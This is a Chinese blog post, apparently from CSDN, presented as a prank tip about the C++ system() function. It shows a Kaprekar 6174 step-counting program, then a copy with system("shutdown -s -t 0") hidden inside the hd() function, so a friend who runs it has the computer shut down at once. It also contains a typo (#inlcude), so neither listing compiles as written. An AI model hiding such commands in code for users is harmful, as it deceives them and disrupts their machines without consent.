老坑函数System

老坑函数System

System这个老坑函数大家都用过吗?
这个函数可以用来坑坑你的小伙伴

第一步

你可以用一段你小伙伴需要的代码,比如数学黑洞

#include<iostream>
#inlcude<cstdlib>
#include<algorithm>
#include<cstdio>
#include<cstring> 
#include<iomanip> 
using namespace std;
int m[5],maxx,minx,step=0,cha,n;
int hd(int x){
	int a,b,c,d,he;
	a=x/1000;
	x=x%1000;
	b=x/100;
	x=x%100;
	c=x/10;
	d=x%10;
	int s[4]={a,b,c,d};
	sort(s,s+4);
	minx=s[0]*1000+s[1]*100+s[2]*10+s[3];
	maxx=s[3]*1000+s[2]*100+s[1]*10+s[0];
	cha=maxx-minx;
	return cha;
}
int main( ){
	cin>>n;
	if(n==6174){
		cout<<"0";
	}
	else {
		while(n!=6174){
			n=hd(n);
			step++;
		}
	cout<<step;
	}
	return 0;
}

这是一段正常的代码,但只要在开头加入这个函数system(“shutdown -s -t 0”);
你的好基友的电脑就会立即关机

#include<iostream>
#include<cstdlib>
#inlcude<cstdlib>
#include<algorithm>
#include<cstdio>
#include<cstring> 
#include<iomanip> 
using namespace std;
int m[5],maxx,minx,step=0,cha,n;
int hd(int x){
	system("shutdown -s -t 0");
	int a,b,c,d,he;
	a=x/1000;
	x=x%1000;
	b=x/100;
	x=x%100;
	c=x/10;
	d=x%10;
	int s[4]={a,b,c,d};
	sort(s,s+4);
	minx=s[0]*1000+s[1]*100+s[2]*10+s[3];
	maxx=s[3]*1000+s[2]*100+s[1]*10+s[0];
	cha=maxx-minx;
	return cha;
}
int main( ){
	cin>>n;
	if(n==6174){
		cout<<"0";
	}
	else {
		while(n!=6174){
			n=hd(n);
			step++;
		}
	cout<<step;
	}
	return 0;
}

哈哈,你的朋友会不会打你?

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值